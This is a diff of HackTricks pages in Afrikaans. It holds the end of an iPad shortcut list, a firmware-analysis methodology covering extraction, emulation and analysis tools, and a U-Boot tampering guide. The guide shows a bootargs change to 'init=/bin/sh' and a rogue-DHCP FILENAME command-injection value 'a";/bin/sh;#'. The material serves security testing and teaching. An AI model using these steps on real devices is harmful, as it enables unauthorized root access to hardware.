| ⌘⇧3 (Bevel-Shift-3) | Skermkiekie (swaai in die onderste linkerkant om dit te stoor of daarop te reageer) |
|
||||
| ⌘⇧4 | Skermkiekie en maak dit oop in die redakteur |
|
||||
| Druk en hou ⌘ | Lys van beskikbare kortpaaie vir die App |
|
||||
| ⌘⌥D (Bevel-Opsie/Alt-D) | Bring die dok op |
|
||||
| ^⌥H (Beheer-Opsie-H) | Huis-knoppie |
|
||||
| ^⌥H H (Beheer-Opsie-H-H) | Wys multitask-balk |
|
||||
| ^⌥I (Beheer-Opsie-i) | Item-keuse |
|
||||
| Escape | Terug-knoppie |
|
||||
| → (Regterpyl) | Volgende item |
|
||||
| ← (Linkerpyl) | Vorige item |
|
||||
| ↑↓ (Op-pyl, Af-pyl) | Gelyktydig tik op geselekteerde item |
|
||||
| ⌥ ↓ (Opsie-Af-pyl) | Rol af |
|
||||
| ⌥↑ (Opsie-Op-pyl) | Rol op |
|
||||
| ⌥← of ⌥→ (Opsie-Linkerpyl of Opsie-Regterpyl) | Rol links of regs |
|
||||
| ^⌥S (Beheer-Opsie-S) | Skakel VoiceOver-spraak aan of af |
|
||||
| ⌘⇧⇥ (Bevel-Shift-Tab) | Skakel na die vorige app |
|
||||
| ⌘⇥ (Bevel-Tab) | Skakel terug na die oorspronklike app |
|
||||
| ←+→, dan Opsie + ←
|
||||
### Safari snelkoppelinge
|
||||
|
||||
| Snelkoppeling | Aksie |
|
||||
| ----------------------- | ------------------------------------------------- |
|
||||
| ⌘L (Command-L) | Maak Ligging Oop |
|
||||
| ⌘T | Maak 'n nuwe oortjie oop |
|
||||
| ⌘W | Maak die huidige oortjie toe |
|
||||
| ⌘R | Verfris die huidige oortjie |
|
||||
| ⌘. | Stop die laai van die huidige oortjie |
|
||||
| ^⇥ | Skakel na die volgende oortjie |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Beweeg na die vorige oortjie |
|
||||
| ⌘L | Kies die teksinvoer/URL-veld om dit te wysig |
|
||||
| ⌘⇧T (Command-Shift-T) | Maak die laaste toegegooide oortjie oop (kan verskeie kere gebruik word) |
|
||||
| ⌘\[ | Gaan een bladsy terug in jou blaai-geskiedenis |
|
||||
| ⌘] | Gaan een bladsy vorentoe in jou blaai-geskiedenis |
|
||||
| ⌘⇧R | Aktiveer Leesermodus |
|
||||
|
||||
### Poskantoor snelkoppelinge
|
||||
|
||||
| Snelkoppeling | Aksie |
|
||||
| ------------------------------ | ------------------------------- |
|
||||
| ⌘L | Maak Ligging Oop |
|
||||
| ⌘T | Maak 'n nuwe oortjie oop |
|
||||
| ⌘W | Maak die huidige oortjie toe |
|
||||
| ⌘R | Verfris die huidige oortjie |
|
||||
| ⌘. | Stop die laai van die huidige oortjie |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | Soek in jou posbus |
|
||||
|
||||
# Verwysings
|
||||
|
||||
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
278
hardware-physical-access/firmware-analysis/README.md
Normal file
278
hardware-physical-access/firmware-analysis/README.md
Normal file
|
@ -0,0 +1,278 @@
|
|||
# Firmware Analysis
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **Inleiding**
|
||||
|
||||
Firmware is essensiële sagteware wat toestelle in staat stel om korrek te werk deur die hardewarekomponente en die sagteware wat gebruikers mee skakel, te bestuur en te fasiliteer. Dit word gestoor in permanente geheue, wat verseker dat die toestel vanaf die oomblik dat dit aangeskakel word, toegang kan verkry tot noodsaaklike instruksies, wat lei tot die lancering van die bedryfstelsel. Die ondersoek en moontlike wysiging van firmware is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede.
|
||||
|
||||
## **Versameling van inligting**
|
||||
|
||||
**Versameling van inligting** is 'n kritieke aanvanklike stap om die samestelling van 'n toestel en die tegnologieë wat dit gebruik, te verstaan. Hierdie proses behels die versameling van data oor:
|
||||
|
||||
* Die CPU-argitektuur en bedryfstelsel waarop dit loop
|
||||
* Spesifieke opstartlaaiers
|
||||
* Hardeware-opstelling en databladsye
|
||||
* Kodebasis-metriek en bronlokasies
|
||||
* Eksterne biblioteke en lisensietipes
|
||||
* Opdateringsgeskiedenis en reguleringssertifikate
|
||||
* Argitektoniese en vloeidiagramme
|
||||
* Sekuriteitsassesserings en geïdentifiseerde kwesbaarhede
|
||||
|
||||
Vir hierdie doel is **open-source intelligensie (OSINT)**-hulpmiddels van onskatbare waarde, asook die analise van enige beskikbare open-source sagtewarekomponente deur middel van handmatige en outomatiese hersieningsprosesse. Hulpmiddels soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële kwessies op te spoor.
|
||||
|
||||
## **Verkryging van die firmware**
|
||||
|
||||
Die verkryging van firmware kan op verskillende maniere benader word, elk met sy eie vlak van kompleksiteit:
|
||||
|
||||
* **Direk** van die bron (ontwikkelaars, vervaardigers)
|
||||
* **Bou** dit volgens die voorsiene instruksies
|
||||
* **Aflaai** van amptelike ondersteuningswebwerwe
|
||||
* Gebruik van **Google-dork**-navrae om gehuisvese firmware-lêers te vind
|
||||
* Direkte toegang tot **wolkstoorplek** met hulpmiddels soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
* Onderskepping van **opdaterings** deur middel van man-in-die-middel-tegnieke
|
||||
* **Onttrekking** van die toestel deur middel van verbindings soos **UART**, **JTAG**, of **PICit**
|
||||
* **Sniffing** vir opdateringsversoeke binne toestelkommunikasie
|
||||
* Identifisering en gebruik van **hardgekoppelde opdaterings-eindpunte**
|
||||
* **Dumping** vanaf die opstartlaaier of netwerk
|
||||
* **Verwydering en lees** van die stoorchip, wanneer al die ander pogings misluk, deur gebruik te maak van geskikte hardewarehulpmiddels
|
||||
|
||||
## Analise van die firmware
|
||||
|
||||
Nou dat jy die firmware het, moet jy inligting daaroor onttrek om te weet hoe om dit te hanteer. Verskillende hulpmiddels wat jy daarvoor kan gebruik:
|
||||
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #print offsets in hex
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
|
||||
As jy nie veel vind met daardie gereedskap nie, kyk na die **entropie** van die prent met `binwalk -E <bin>`. As die entropie laag is, is dit nie waarskynlik versleutel nie. As die entropie hoog is, is dit waarskynlik versleutel (of op 'n sekere manier saamgedruk).
|
||||
|
||||
Verder kan jy hierdie gereedskap gebruik om **lêers wat in die firmware ingebed is**, uit te trek:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Of [**binvis.io**](https://binvis.io/#/) ([kode](https://code.google.com/archive/p/binvis/)) om die lêer te ondersoek.
|
||||
|
||||
### Kry die Lêersisteem
|
||||
|
||||
Met die vorige genoemde gereedskap soos `binwalk -ev <bin>` behoort jy in staat te wees om die **lêersisteem uit te trek**.\
|
||||
Binwalk sit dit gewoonlik binne 'n **gids met die naam van die lêersisteem**, wat gewoonlik een van die volgende is: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Handmatige Lêersisteem Uittrekking
|
||||
|
||||
Soms sal binwalk **nie die sielkundige byte van die lêersisteem in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **verskuiwing van die lêersisteem te vind en die saamgedrukte lêersisteem** uit die binêre lêer te **uitsny** en die lêersisteem handmatig uit te trek volgens sy tipe deur die volgende stappe te volg.
|
||||
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
----------------------------------------------------------------------------- ---
|
||||
|
||||
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
|
||||
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
|
||||
Voer die volgende **dd-opdrag** uit om die Squashfs-lêersisteem uit te snys.
|
||||
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536+0 records in
|
||||
|
||||
8257536+0 records out
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
|
||||
Alternatiewelik kan die volgende bevel ook uitgevoer word.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
* Vir squashfs (soos in die bogenoemde voorbeeld gebruik)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
Lêers sal daarna in die "`squashfs-root`" gids wees.
|
||||
|
||||
* CPIO-argief lêers
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
* Vir jffs2-lêersisteme
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
* Vir ubifs-lêersisteme met NAND-flits
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## Ontleding van Firmware
|
||||
|
||||
Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede daarvan te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmware-beeld te analiseer en te onttrek.
|
||||
|
||||
### Gereedskap vir Aanvanklike Analise
|
||||
|
||||
'n Stel bevele word verskaf vir die aanvanklike ondersoek van die binêre lêer (verwys as `<bin>`). Hierdie bevele help om lêertipes te identifiseer, strings te onttrek, binêre data te analiseer, en die partisie- en lêersisteemdetails te verstaan:
|
||||
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #prints offsets in hexadecimal
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
|
||||
Om die versleutelingsstatus van die prent te beoordeel, word die **entropie** nagegaan met `binwalk -E <bin>`. Lae entropie dui op 'n gebrek aan versleuteling, terwyl hoë entropie moontlike versleuteling of kompressie aandui.
|
||||
|
||||
Vir die onttrekking van **ingebedde lêers**, word gereedskap en hulpbronne soos die dokumentasie van **file-data-carving-recovery-tools** en **binvis.io** vir lêerondersoek aanbeveel.
|
||||
|
||||
### Onttrekking van die Lêersisteem
|
||||
|
||||
Met behulp van `binwalk -ev <bin>` kan die lêersisteem gewoonlik onttrek word, dikwels na 'n gids wat vernoem is na die lêersisteemtipe (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêersisteemtipe herken as gevolg van ontbrekende magiese bytes nie, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêersisteem se offset op te spoor, gevolg deur die `dd`-opdrag om die lêersisteem uit te sny:
|
||||
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
|
||||
Daarna, afhangende van die lêersisteemtipe (bv. squashfs, cpio, jffs2, ubifs), word verskillende opdragte gebruik om die inhoud handmatig te onttrek.
|
||||
|
||||
### Lêersisteemontleding
|
||||
|
||||
Met die lêersisteem onttrek, begin die soektog na sekuriteitsgebreke. Aandag word geskenk aan onveilige netwerkdaemons, hardgekoppelde geloofsbriewe, API-eindpunte, opdateringsserverfunksies, ongekompileerde kodes, opstartskripte en gekompileerde binaire lêers vir aflynontleding.
|
||||
|
||||
**Belangrike plekke** en **items** om te ondersoek sluit in:
|
||||
|
||||
* **etc/shadow** en **etc/passwd** vir gebruikersgeloofsbriewe
|
||||
* SSL-sertifikate en sleutels in **etc/ssl**
|
||||
* Konfigurasie- en skripslêers vir potensiële kwesbaarhede
|
||||
* Ingeslote binaire lêers vir verdere ontleding
|
||||
* Algemene IoT-toestel-webbedieners en binaire lêers
|
||||
|
||||
Verskeie hulpmiddels help om sensitiewe inligting en kwesbaarhede binne die lêersisteem te ontdek:
|
||||
|
||||
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir soektog na sensitiewe inligting
|
||||
* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) vir omvattende lêersisteemontleding
|
||||
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), en [**EMBA**](https://github.com/e-m-b-a/emba) vir statiese en dinamiese ontleding
|
||||
|
||||
### Sekuriteitskontroles op Gekompileerde Binaire Lêers
|
||||
|
||||
Beide bronkode en gekompileerde binaire lêers wat in die lêersisteem gevind word, moet ondersoek word vir kwesbaarhede. Hulpmiddels soos **checksec.sh** vir Unix-binaire lêers en **PESecurity** vir Windows-binaire lêers help om onbeskermde binaire lêers te identifiseer wat uitgebuit kan word.
|
||||
|
||||
## Emulering van Firmware vir Dinamiese Ontleding
|
||||
|
||||
Die proses van emulering van firmware maak **dinamiese ontleding** van óf 'n toestel se werking óf 'n individuele program moontlik. Hierdie benadering kan uitdagings in die vorm van hardeware- of argitektuurafhanklikhede hê, maar die oordra van die hooflêersisteem of spesifieke binaire lêers na 'n toestel met 'n ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer.
|
||||
|
||||
### Emulering van Individuele Binaire Lêers
|
||||
|
||||
Vir die ondersoek van enkelprogramme is dit noodsaaklik om die endianness en CPU-argitektuur van die program te identifiseer.
|
||||
|
||||
#### Voorbeeld met MIPS-argitektuur
|
||||
|
||||
Om 'n MIPS-argitektuur-binaire lêer te emuleer, kan die volgende opdrag gebruik word:
|
||||
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
|
||||
En om die nodige emulasiehulpmiddels te installeer:
|
||||
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
|
||||
Vir MIPS (big-endian) word `qemu-mips` gebruik, en vir little-endian binaêre lêers sal `qemu-mipsel` die keuse wees.
|
||||
|
||||
#### ARM-argitektuur-emulasie
|
||||
|
||||
Vir ARM-binaêre lêers is die proses soortgelyk, met die gebruik van die `qemu-arm` emulator vir emulasie.
|
||||
|
||||
### Volledige Sisteememulasie
|
||||
|
||||
Hulpmiddels soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander fasiliteer volledige firmware-emulasie, outomatiseer die proses en help met dinamiese analise.
|
||||
|
||||
## Dinamiese Analisetegnieke in die Praktyk
|
||||
|
||||
Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing gebruik vir analise. Dit is noodsaaklik om skeltoegang tot die bedryfstelsel en lêersisteem te behou. Emulasie mag nie hardeware-interaksies perfek naboots nie, wat af en toe emulasie-herstarts noodsaaklik maak. Analise moet die lêersisteem hersien, blootgestelde webbladsye en netwerkdienste uitbuit, en bootloader-kwesbaarhede ondersoek. Firmware-integriteitstoetse is krities om potensiële agterdeur-kwesbaarhede te identifiseer.
|
||||
|
||||
## Dinamiese Analisetegnieke
|
||||
|
||||
Dinamiese analise behels interaksie met 'n proses of binaêre lêer in sy bedryfsomgewing, deur gebruik te maak van hulpmiddels soos gdb-multiarch, Frida en Ghidra om breekpunte te stel en kwesbaarhede te identifiseer deur middel van fuzzing en ander tegnieke.
|
||||
|
||||
## Binaêre Uitbuiting en Bewys-van-Konsep
|
||||
|
||||
Die ontwikkeling van 'n Bewys-van-Konsep vir geïdentifiseerde kwesbaarhede vereis 'n diepgaande begrip van die teikenargitektuur en programmering in laervlak-tale. Binaêre tydproteksies in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
|
||||
|
||||
## Voorbereide Bedryfstelsels vir Firmware-analise
|
||||
|
||||
Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf gekonfigureerde omgewings vir firmware-sekuriteitstoetsing, toegerus met nodige hulpmiddels.
|
||||
|
||||
## Voorbereide bedryfstelsels vir Firmware-analise
|
||||
|
||||
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro wat bedoel is om jou te help met die uitvoer van sekuriteitsassessering en penetrasietoetsing van Internet of Things (IoT)-toestelle. Dit bespaar baie tyd deur 'n vooraf gekonfigureerde omgewing met al die nodige hulpmiddels te voorsien.
|
||||
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsingsbedryfstelsel gebaseer op Ubuntu 18.04 wat vooraf gelaai is met hulpmiddels vir firmware-sekuriteitstoetsing.
|
||||
|
||||
## Kwesbare firmware om te oefen
|
||||
|
||||
Om te oefen om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmwareprojekte as 'n beginpunt.
|
||||
|
||||
* OWASP IoTGoat
|
||||
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
* The Damn Vulnerable Router Firmware Project
|
||||
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
* Damn Vulnerable ARM Router (DVAR)
|
||||
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
* ARM-X
|
||||
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
* Azeria Labs VM 2.0
|
||||
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
* Damn Vulnerable IoT Device (DVID)
|
||||
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
|
||||
## Opleiding en Sertifisering
|
||||
|
||||
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,71 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
Die volgende stappe word aanbeveel vir die wysiging van toestelopstartkonfigurasies en opstartlaaiers soos U-boot:
|
||||
|
||||
1. **Kry toegang tot die opstartlaaier se tolkshell**:
|
||||
- Druk tydens opstart "0", spasie, of ander geïdentifiseerde "sielkodes" om toegang tot die opstartlaaier se tolkshell te verkry.
|
||||
|
||||
2. **Wysig opstartargumente**:
|
||||
- Voer die volgende opdragte uit om '`init=/bin/sh`' by die opstartargumente te voeg, wat die uitvoering van 'n skelopdrag moontlik maak:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
%%%
|
||||
|
||||
3. **Stel 'n TFTP-bediener op**:
|
||||
- Stel 'n TFTP-bediener op om beelde oor 'n plaaslike netwerk te laai:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #plaaslike IP van die toestel
|
||||
#setenv serverip 192.168.2.1 #TFTP-bediener IP
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #kontroleer netwerktoegang
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr neem die adres om die lêer in te laai en die lêernaam van die beeld op die TFTP-bediener
|
||||
%%%
|
||||
|
||||
4. **Maak gebruik van `ubootwrite.py`**:
|
||||
- Gebruik `ubootwrite.py` om die U-boot-beeld te skryf en 'n gewysigde firmware te stuur om root-toegang te verkry.
|
||||
|
||||
5. **Kontroleer foutopsporingsfunksies**:
|
||||
- Verifieer of foutopsporingsfunksies soos oordrewe logboekinskrywings, die laai van willekeurige kerns, of die opstart vanaf onbetroubare bronne geaktiveer is.
|
||||
|
||||
6. **Versigtige hardeware-inmenging**:
|
||||
- Wees versigtig wanneer jy een pen aan die grond verbind en interaksie hê met SPI- of NAND-flitskypleiers tydens die toestel se opstartvolgorde, veral voordat die kernel ontspan. Raadpleeg die NAND-flitskypleier se datablad voordat jy pennaaldjies kortsluit.
|
||||
|
||||
7. **Stel 'n skelm DHCP-bediener op**:
|
||||
- Stel 'n skelm DHCP-bediener op met skadelike parameters vir 'n toestel om tydens 'n PXE-opstart in te neem. Maak gebruik van hulpmiddels soos Metasploit se (MSF) DHCP-hulpbediener. Wysig die 'FILENAME'-parameter met opdraginskrywings soos `'a";/bin/sh;#'` om insetvalidering vir toestelopstartprosedures te toets.
|
||||
|
||||
**Opmerking**: Die stappe wat fisieke interaksie met toestelpenne behels (*gemerk met asterisk) moet met uiterste versigtigheid benader word om skade aan die toestel te voorkom.
|
||||
|
||||
|
||||
## Verwysings
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,58 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
